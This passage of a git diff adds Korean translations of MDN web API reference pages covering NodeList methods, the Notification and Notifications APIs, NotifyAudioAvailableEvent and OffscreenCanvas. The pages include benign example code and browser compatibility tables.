var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // or simply tables[1] - returns the second table in the DOM
+
+ +

Specification

+ +

DOM Level 1 Core: NodeList.item()

+ +

DOM Level 2 Core: NodeList.item()

+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.item")}}

diff --git a/files/ko/web/api/nodelist/keys/index.html b/files/ko/web/api/nodelist/keys/index.html new file mode 100644 index 0000000000..36160b9e1b --- /dev/null +++ b/files/ko/web/api/nodelist/keys/index.html @@ -0,0 +1,72 @@ +--- +title: NodeList.keys() +slug: Web/API/NodeList/keys +translation_of: Web/API/NodeList/keys +--- +

{{APIRef("DOM")}}

+ +

NodeList.keys() 메서드는 이 객체에 포함된 모든 키를 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 키는 부호없는 정수형(unsigned integer) 입니다.

+ +

Syntax

+ +
nodeList.keys();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var key of list.keys()) {
+   console.log(key);
+}
+
+ +

결과는 다음과 같습니다 :

+ +
0
+1
+2
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','keys() (as iterable)')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.keys")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/length/index.html b/files/ko/web/api/nodelist/length/index.html new file mode 100644 index 0000000000..4e931dd73e --- /dev/null +++ b/files/ko/web/api/nodelist/length/index.html @@ -0,0 +1,35 @@ +--- +title: element.length +slug: Web/API/NodeList/length +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/NodeList/length +--- +

{{ ApiRef() }}

+

요약

+

lengthNodeList의 항목수를 반환합니다.

+

구문

+
numItems =nodeList.length
+
+ +

+
// 문서의 모든 paragraph
+var items = document.getElementsByTagName("p");
+// 목록의 각 항목에,
+// HTML의 문자열로 전체 요소를 추가
+var gross = "";
+for (var i = 0; i < items.length; i++) {
+  gross += items[i].innerHTML;
+}
+// gross는 이제 모두 paragraph을 위한 HTML
+
+

주의

+

reference에서 이 페이지의 위치에도 불구하고, lengthElement의 프로퍼티가 아니고, NodeList의 프로퍼티입니다. NodeList 개체는 document.getElementsByTagName과 같은 많은 DOM 메소드에서 반환됩니다.

+

length는 DOM 프로그래밍에서 아주 흔한 프로퍼티입니다. 위 예에서처럼 목록의 길이(적어도 있는 지 보기 위해)를 조사하고 for 루프에서 훑개(반복자, iterator)로 널리 쓰입니다.

+

명세

+

length

+

{{ languages( { "en": "en/DOM/element.length", "pl": "pl/DOM/element.length" } ) }}

diff --git a/files/ko/web/api/nodelist/values/index.html b/files/ko/web/api/nodelist/values/index.html new file mode 100644 index 0000000000..5613e630ae --- /dev/null +++ b/files/ko/web/api/nodelist/values/index.html @@ -0,0 +1,72 @@ +--- +title: NodeList.values() +slug: Web/API/NodeList/values +translation_of: Web/API/NodeList/values +--- +

{{APIRef("DOM")}}

+ +

NodeList.values() 메서드는 이 객체에 포함된 모든 값을 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. 값은 {{domxref("Node")}} 객체 입니다.

+ +

Syntax

+ +
nodeList.values();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var value of list.values()) {
+  console.log(value);
+}
+
+ +

결과는 다음과 같습니다 :

+ +
<p>
+#text "hey"
+<span>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','values() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.values")}}

+ +

See also

+ + diff --git a/files/ko/web/api/notification/index.html b/files/ko/web/api/notification/index.html new file mode 100644 index 0000000000..1fb845f94d --- /dev/null +++ b/files/ko/web/api/notification/index.html @@ -0,0 +1,493 @@ +--- +title: Notification +slug: Web/API/notification +translation_of: Web/API/Notification +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications APINotification 인터페이스는 사용자에게 데스크톱 알림을 설정하고 보여주는데 사용됩니다.

+ +

{{AvailableInWorkers}}

+ +

Constructor

+ +
+
{{domxref("Notification.Notification", "Notification()")}}
+
Notification 객체 인스턴스를 생성합니다.
+
+ +

Properties

+ +

Static properties

+ +

이 속성은 Notification 객체 안에만 존재합니다.

+ +
+
{{domxref("Notification.permission")}} {{readonlyinline}}
+
알림을 표시하기 위한 현재의 권한을 나타낸다. 가능한 값: denied (사용자가 알림 표시를 거절), granted (사용자가 알림 표시를 허용), default (사용자의 선택을 알 수 없기 때문에 브라우저가 거절한 상태의 값으로 작동하게됨).
+
+ +

Instance properties

+ +

이 속성은 Notification 객체의 인스턴스 안에만 존재합니다.

+ +
+
{{domxref("Notification.actions")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 액션 배열입니다.
+
{{domxref("Notification.badge")}} {{readonlyinline}}
+
알림을 나타낼 충분한 여유 공간이 없을 때에 알림을 표시하는 이미지의 URL입니다.
+
{{domxref("Notification.body")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 본문입니다.
+
{{domxref("Notification.data")}} {{readonlyinline}}
+
알림 데이타의 구조화된 복사본을 반환합니다.
+
{{domxref("Notification.dir")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림 글의 방향입니다.
+
{{domxref("Notification.lang")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 언어 코드입니다.
+
{{domxref("Notification.tag")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 경우 알림의 ID입니다.
+
{{domxref("Notification.icon")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 아이콘으로 사용될 이미지의 URL입니다.
+
{{domxref("Notification.image")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 일부분으로 표시될 이미지의 URL입니다.
+
{{domxref("Notification.requireInteraction")}} {{readonlyinline}}
+
자동으로 닫히지 않고 사용자가 클릭할 때 까지 활성화 된 채로 남아 있어야 함을 나타내는 {{jsxref("Boolean")}} 값입니다.
+
{{domxref("Notification.silent")}} {{readonlyinline}}
+
기기의 설정과 상관없이 소리가 없거나 진동이 울려야 한다는 등 알림이 조용해야 하는지를 나타냅니다.
+
{{domxref("Notification.timestamp")}} {{readonlyinline}}
+
알림이 생성되었거나 적용 가능한(과거, 현재, 미래) 시간을 나타냅니다.
+
{{domxref("Notification.title")}} {{readonlyinline}}
+
생성자의 첫번째 파라메터에 명시된 알림의 제목입니다.
+
{{domxref("Notification.vibrate")}} {{readonlyinline}}
+
진동기가 있는 기기가 나타내야할 진동 패턴을 나타냅니다.
+
+

Unsupported properties

+ +

아래의 속성은 최신 명세에는 등록되어 있지만 아직 구현한 브라우저가 없는 속성입니다. 현재의 상태에서 변경된 사항은 없는지 계속 확인해보아야 하는 내용이고 오래된 내용이 있으면 알려주시기 바랍니다.

+
+
{{domxref("Notification.noscreen")}} {{readonlyinline}}
+
알림이 기기의 화면을 활성화해야 하는지를 나타냅니다.
+
{{domxref("Notification.renotify")}} {{readonlyinline}}
+
새 알림이 오래된 알림을 교체할 때 사용자에게 알려야 하는지를 나타냅니다.
+
{{domxref("Notification.sound")}} {{readonlyinline}}
+
기본 시스템 설정 알림 소리를 대신할 알림 소리로 사용될 소리 자원을 나타냅니다.
+
{{domxref("Notification.sticky")}} {{readonlyinline}}
+
사용자가 쉽게 제거할 수 없게 '달라붙어'있어야 하는지를 나타냅니다.
+
+ +

Event handlers

+ +
+
{{domxref("Notification.onclick")}}
+
{{event("click")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 클릭할 때 마다 호출됩니다.
+
{{domxref("Notification.onerror")}}
+
{{event("error")}} 이벤트에 대한 핸들러입니다. 알림에 오류가 발생할 때 마다 호출됩니다.
+
+ +

Obsolete handlers

+ +

아래의 이벤트 핸들러는 {{anch("browser compatibility")}} 섹션에 나타난 대로 아직 지원되지만 현재 명세에 없는 내용입니다. 폐지된 것으로 생각해야 하고 앞으로 나올 브라우저에서는 작동하지 않을 수 있습니다.

+ +
+
{{domxref("Notification.onclose")}}
+
{{event("close")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 닫을 때 호출됩니다.
+
{{domxref("Notification.onshow")}}
+
{{event("show")}} 이벤트에 대한 핸들러입니다. 알림이 표시될 때 호출됩니다.
+
+ +

Methods

+ +

Static methods

+ +

이 메서드는 Notification 객체에만 존재합니다.

+ +
+
{{domxref("Notification.requestPermission()")}}
+
이 메서드는 페이지에서 알림을 표시할지 요청하는데 사용됩니다.
+
+ +

Instance methods

+ +

이 메서드는 Notification 객체의 인스턴스나 그 prototype에만 존재합니다. Notification 객체는 또한 {{domxref("EventTarget")}} 인터페이스를 상속 받습니다.

+ +
+
{{domxref("Notification.close()")}}
+
프로그램으로 알림을 닫습니다.
+
+ +

Example

+ +

다음과 같은 기본 HTML이 있을 때:

+ +
<button onclick="notifyMe()">Notify me!</button>
+ +

다음과 같이 알림을 보낼 수 있습니다. 알림이 지원되는지 우선 확인해 볼 때 사용할 수 있는 풍부하게 완성된 예제코드입니다. 그 다음에 현재 페이지에서 알림을 보낼 수 있게 권한이 있는지를 확인하고 알림을 보내기 전에 권한이 필요하면 요청을 합니다.

+ +
function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Let's check whether notification permissions have already been granted
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // If the user accepts, let's create a notification
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // At last, if the user has denied notifications, and you 
+  // want to be respectful there is no need to bother them any more.
+}
+ +

{{EmbedLiveSample('Example', '100%', 30)}}

+ +

많은 경우에 이렇게 장황할 필요는 없습니다. 예를 들어 Emogotchi 데모(소스코드)에서는 단순히 알림을 보내기 위해서 권한을 얻을 수 있는지와 상관없이 {{domxref("Notification.requestPermission")}}를 실행합니다(이 경우는 새로운 프로미스 기반 메서드 문법을 사용):

+ +
Notification.requestPermission().then(function(result) {
+  console.log(result);
+});
+ +

그 다음에 알림이 필요한 때에 단순히 spawnNotification() 함수를 실행합니다. 본문과 아이콘, 제목을 인자로 넘기면 필요한 options 객체를 만들고 {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해서 알림을 발생시킵니다.

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22
{{CompatVersionUnknown}}4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}256[3]
icon5{{property_prefix("webkit")}}[1]
+ 22
{{CompatUnknown}}4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}25{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
noscreen, sticky{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
sound{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
renotify{{CompatChrome(50.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Promise-based Notification.requestPermission(){{CompatChrome(46.0)}}{{CompatUnknown}}{{CompatGeckoDesktop("47.0")}}{{CompatUnknown}}{{CompatOpera(40)}}{{CompatNo}}
vibrate, actions{{CompatChrome(53.0)}}{{CompatUnknown}}  {{CompatOpera(39)}} 
badge{{CompatChrome(53.0)}}{{CompatUnknown}}  {{CompatOpera(39)}} 
image{{CompatChrome(55.0)}}{{CompatUnknown}}  {{CompatUnknown}} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
icon{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
silent{{CompatNo}}{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
noscreen, sticky{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
sound{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
renotify{{CompatNo}}{{CompatChrome(50.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Promise-based Notification.requestPermission(){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("47.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
vibrate, actions{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}   {{CompatOperaMobile(39)}} {{CompatChrome(53.0)}}
badge{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}   {{CompatOperaMobile(39)}} {{CompatChrome(53.0)}}
image{{CompatNo}}{{CompatNo}}{{CompatUnknown}}   {{CompatUnknown}} {{CompatChrome(55.0)}}
+
+ +

[1] Chrome 22 이전에는 오래된 접두사형 명세와 새 알림 인스턴스를 만들 때 {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 객체를 사용해서 알림을 지원합니다.

+ +

Chrome 32 이전에는 {{domxref("Notification.permission")}}이 지원되지 않았습니다.

+ +

Chrome 42 이전에는 서비스 워커 추가가 지원되지 않았습니다.

+ +

Chrome 49 부터 익명(incognito) 모드에서는 알림이 작동하지 않습니다.

+ +

[2] Firefox 22(Firefox OS <1.2) 이전에는 새 알림 인스턴스 생성이 {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 객체의 createNotification 메서드를 통해서 해야 했습니다.

+ +

Firefox 22 (Firefox OS <1.2) 이전에는 Notification이 show 메서드를 호출할 때에만 나왔고 clickclose 이벤트 만 지원했습니다.

+ +

새로운 구현와 이전 구현을 다 포괄하기 위해서 Nick Desaulniers가 Notification shim을 작성했습니다.

+ +

한가지 특별한 Firefox OS 이슈가 있는데 알림 아이콘을 사용하기 위해 아이콘 경로를 전달 할 수는 있지만 앱이 패키징되면 /my_icon.png와 같이 상대 경로를 사용할 수 없다는 점입니다. 또한 패키징 된 앱에서는 window.location.origin이 null이기 때문에 window.location.origin + "/my_icon.png"도 사용할 수 없습니다. Manifest origin 필드로 이 문제를 해결할 수 있지만 Firefox OS 1.1+에서만 사용할 수 있습니다. Firefox OS <1.1에 대한 가능한 해결책은 외부에서 호스트하는 절대경로 아이콘 URL을 넘기는 것 입니다. 이렇게 하면 아이콘 없이 알림이 먼저 나오고 그 다음에 아이콘에 붙게 되지만 모든 버전의 Firefox OS에서 동작합니다.

+ +

Firefox OS 앱에서 알림을 사용할 때에는 manifest 파일에 desktop-notification 권한을 추가하도록 합니다. 알림은 호스트 되거나 그 이상의 수준에서 사용할 수 있습니다: "permissions": { "desktop-notification": {} }

+ +

[3] Safari는 Safari 6에서 알림을 지원하지만 Mac OSX 10.8+ (Mountain Lion)에서만 지원합니다.

+ +

See also

+ + diff --git a/files/ko/web/api/notification/permission/index.html b/files/ko/web/api/notification/permission/index.html new file mode 100644 index 0000000000..30969fb541 --- /dev/null +++ b/files/ko/web/api/notification/permission/index.html @@ -0,0 +1,43 @@ +--- +title: Notification.permission +slug: Web/API/Notification/permission +translation_of: Web/API/Notification/permission +--- +

{{ ApiRef() }}

+

{{ SeeCompatTable() }}

+

요약

+

permission 속성은 웹 알림에 있어서 사용자에 의해 현재 앱에 허가된 현재 권한을 가리킵니다. 

+

문법

+
var permission = Notification.permission;
+
+

+

다음은 현재 권한을 표현하는 문자열입니다.

+ +

명세

+ + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+

브라우저 호환

+

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+

See also

+ diff --git a/files/ko/web/api/notifications_api/index.html b/files/ko/web/api/notifications_api/index.html new file mode 100644 index 0000000000..4ab5d961dc --- /dev/null +++ b/files/ko/web/api/notifications_api/index.html @@ -0,0 +1,83 @@ +--- +title: Notifications API +slug: Web/API/Notifications_API +tags: + - 권한 + - 시스템 + - 알림 +translation_of: Web/API/Notifications_API +--- +

{{DefaultAPISidebar("Web Notifications")}}

+ +

Notifications API 는 웹 페이지가 일반 사용자에게 시스템 알림 표시를 제어할 수 있게 해줍니다. 이러한 알람은 최상단 브라우징 컨텍스트 뷰포트의 바깥에 위치하므로 사용자가 탭을 변경하거나 다른 앱으로 이동했을때에도 표시할 수 있습니다. 이 API 는 다양한 플랫폼에 존재하는 알림 시스템과 호환되도록 디자인되었습니다.

+ +

개념과 사용

+ +

지원되는 플랫폼에서, 시스템 알림 표시는 일반적으로 두 가지를 포함합니다. 첫째로, 사용자가 시스템 알림 표시에 대한 현재 origin 권한을 허용해야합니다. 이는 {{domxref("Notification.requestPermission()")}} 메소드를 사용해 앱이나 사이트가 초기화될 때 일반적으로 완료됩니다. 다음과 같이 요청 대화상자가 나타납니다.

+ +

+ +

여기에서 사용자는 이 origin 으로부터의 알림을 허용할지, 차단할지, 이 시점에는 선택하지 않을지를 선택할 수 있습니다. 하나가 선택된후에는, 그 설정이 현재 세션에대해서 일반적으로 유지됩니다.

+ +
+

노트: Firefox 44 부터 Notifications 와 Push 권한이 통합되었습니다. notifications 에대한 권한이 허용되면, push 또한 활성화됩니다.

+
+ +

그 다음, {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해 새로운 알림이 생성됩니다. title 인자를 반드시 포함해야하며, 텍스트 방향, 바디 텍스트, 표시할 아이콘, 재생할 알림 사운드 등과 같은 옵션을 지정하는 옵션 객체를 선택적으로 전달할 수 있습니다.

+ +

{{AvailableInWorkers}}

+ +

부가적으로, Notifications API 명세는 ServiceWorker API 에 여러가지 추가 기능을 지정하여 service worker 가 알림을 발생시킬 수 있도록 허용합니다.

+ +
+

노트: 여러분의 앱에서 알림을 사용하는것에 대한 자세한 내용은 Notifications API 사용하기 글에서 찾아보시기 바랍니다.

+
+ +

Notifications 인터페이스

+ +
+
{{domxref("Notification")}}
+
notification 객체를 정의합니다.
+
+ +

Service worker 추가 기능

+ +
+
{{domxref("ServiceWorkerRegistration")}}
+
알림 표시 제어를 위한 {{domxref("ServiceWorkerRegistration.showNotification()")}} 와 {{domxref("ServiceWorkerRegistration.getNotifications()")}} 메소드를 포함합니다.
+
{{domxref("ServiceWorkerGlobalScope")}}
+
알림이 클릭됐을 때 커스텀 함수를 실행하기 위한 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} 핸들러를 포함합니다.
+
{{domxref("NotificationEvent")}}
+
{{domxref("ExtendableEvent")}} 를 기반으로한 이벤트 객체의 특정 타입입니다. 발생한 알림을 나타냅니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

브라우저 호환성

+ +

Notification

+ + + +

{{Compat("api.Notification")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/notifyaudioavailableevent/index.html b/files/ko/web/api/notifyaudioavailableevent/index.html new file mode 100644 index 0000000000..cc63e7992c --- /dev/null +++ b/files/ko/web/api/notifyaudioavailableevent/index.html @@ -0,0 +1,32 @@ +--- +title: NotifyAudioAvailableEvent +slug: Web/API/NotifyAudioAvailableEvent +translation_of: Web/API/NotifyAudioAvailableEvent +--- +

{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}This interface defines the event for audio elements triggered when the Audiobuffer is full.

+ +

Attributes

+ +
+ + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
frameBufferFloat32ArrayThe frameBuffer attribute contains a typed array (Float32Array) with the raw audio data (32-bit float values) obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs. encoded audio). This is of the form [channel1, channel2, ..., channelN, channel1, channel2, ..., channelN, ...]. All audio frames are normalized to a length of channels * 1024 by default, but could be any length between 512 and 16384 if the user has set a different length using the mozFrameBufferLength attribute.  Read only.
timefloatThe time attribute contains a float representing the time in seconds of the first sample in the frameBuffer array since the start of the audio track.
+
+ +

 

diff --git a/files/ko/web/api/offscreencanvas/getcontext/index.html b/files/ko/web/api/offscreencanvas/getcontext/index.html new file mode 100644 index 0000000000..de0015ac61 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/getcontext/index.html @@ -0,0 +1,117 @@ +--- +title: OffscreenCanvas.getContext() +slug: Web/API/OffscreenCanvas/getContext +translation_of: Web/API/OffscreenCanvas/getContext +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas.getContext() 메소드는 offscreen 캔버스를 위한 드로잉 컨텍스트 반환합니다. 컨텍스트 식별자가 지원되는 상황이 아닐 경우 {{jsxref("null")}}를 반환합니다.

+ +
+

Note: 이 API는 현재 WebGL1과 WebGL2 컨텍스트에서만 실행됩니다.  Canvas 2D API 관련 {{bug(801176)}}를 참조하세요.

+
+ +

구문

+ +
offscreen.getContext(contextType, contextAttributes);
+
+ +

매개 변수

+ +
+
contextType
+
캔버스의 드로잉 컨텍스트를 정의하는 컨텍스트 식별자가 포함된 {{domxref("DOMString")}}입니다: +
    +
  • "2d"는 2차원 렌더링 컨텍스트를 표현하는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성합니다.
  • +
  • "webgl"는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 1(OpenGL ES 2.0)을 지원하는 브라우저에서만 사용 가능합니다.
  • +
  • "webgl2"는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 2 (OpenGL ES 3.0)를 지원하는 브라우저에서만 사용 가능합니다.  {{experimental_inline}}
  • +
  • +

    "bitmaprenderer"는 주어진 {{domxref("ImageBitmap")}}을 캔버스의 내용 대신 전환하는 함수를 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다. 

    +
  • +
+ +

Note:"experimental-webgl"과 "experimental-webgl2" 식별자는 WebGL에서도 사용됩니다. 그러나 아직 테스트 적합성을 통과하지 못했거나 플랫폼별 그래픽 드라이버 지원이 안정적이진 않습니다. Khronos Group은 특정한  정합성 규칙에 WebGL 구현을 인증하고 있습니다.

+
+
contextAttributes
+
+

You can use several context attributes when creating your rendering context, for example:

+ +
offscreen.getContext("webgl",
+                 { antialias: false,
+                   depth: false });
+ 2d context attributes: + +
    +
  • alpha: Boolean that indicates if the canvas contains an alpha channel. If set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then.
  • +
  • {{non-standard_inline}} (Gecko only) willReadFrequently: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag gfx.canvas.willReadFrequently.enable is set to true (which, by default, is only the case for B2G/Firefox OS).
  • +
  • {{non-standard_inline}} (Blink only) storage: String that indicates which storage is used ("persistent" by default).
  • +
+ WebGL context attributes: + +
    +
  • alpha: Boolean that indicates if the canvas contains an alpha buffer.
  • +
  • depth: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.
  • +
  • stencil: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.
  • +
  • antialias: Boolean that indicates whether or not to perform anti-aliasing.
  • +
  • premultipliedAlpha: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.
  • +
  • preserveDrawingBuffer: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.
  • +
  • +

    failIfMajorPerformanceCaveat: Boolean that indicates if a context will be created if the system performance is low.

    +
  • +
+
+
+ +

Return value

+ +

A {{domxref("RenderingContext")}} which is either a

+ + + +

If the contextType doesn't match a possible drawing context, null is returned.

+ +

Examples

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+gl; // WebGLRenderingContext
+gl.canvas; // OffscreenCanvas
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-getcontext", "OffscreenCanvas.getContext()")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.OffscreenCanvas.getContext")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/offscreencanvas/height/index.html b/files/ko/web/api/offscreencanvas/height/index.html new file mode 100644 index 0000000000..9cf16b703f --- /dev/null +++ b/files/ko/web/api/offscreencanvas/height/index.html @@ -0,0 +1,63 @@ +--- +title: OffscreenCanvas.height +slug: Web/API/OffscreenCanvas/height +tags: + - API + - Canvas + - Experimental + - OffscreenCanvas + - Property + - Reference +translation_of: Web/API/OffscreenCanvas/height +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

height 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 높이를 반환합니다.

+ +

구문

+ +
var pxl = offscreen.height;
+offscreen.height = pxl;
+ +
+
+ +

예시

+ +

새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.

+ +
var offscreen = new OffscreenCanvas(256, 256);
+offscreen.height; // 256
+offscreen.height = 512;
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-height", "OffscreenCanvas.height")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.height")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/index.html new file mode 100644 index 0000000000..4e90bbf294 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/index.html @@ -0,0 +1,153 @@ +--- +title: OffscreenCanvas +slug: Web/API/OffscreenCanvas +tags: + - API + - Canvas + - Experimental + - Interface + - Reference +translation_of: Web/API/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas는 화면 밖에서 렌더링되는 캔버스 인터페이스입니다. window 객체와 worker 객체 모두 지원합니다.

+ +

생성자

+ +
+
{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}
+
OffscreenCanvas 생성자. 새 OffscreenCanvas 객체를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("OffscreenCanvas.height")}}
+
캔버스의 높이
+
{{domxref("OffscreenCanvas.width")}}
+
캔버스의 너비
+
+ +

메소드

+ +
+
{{domxref("OffscreenCanvas.getContext()")}}
+
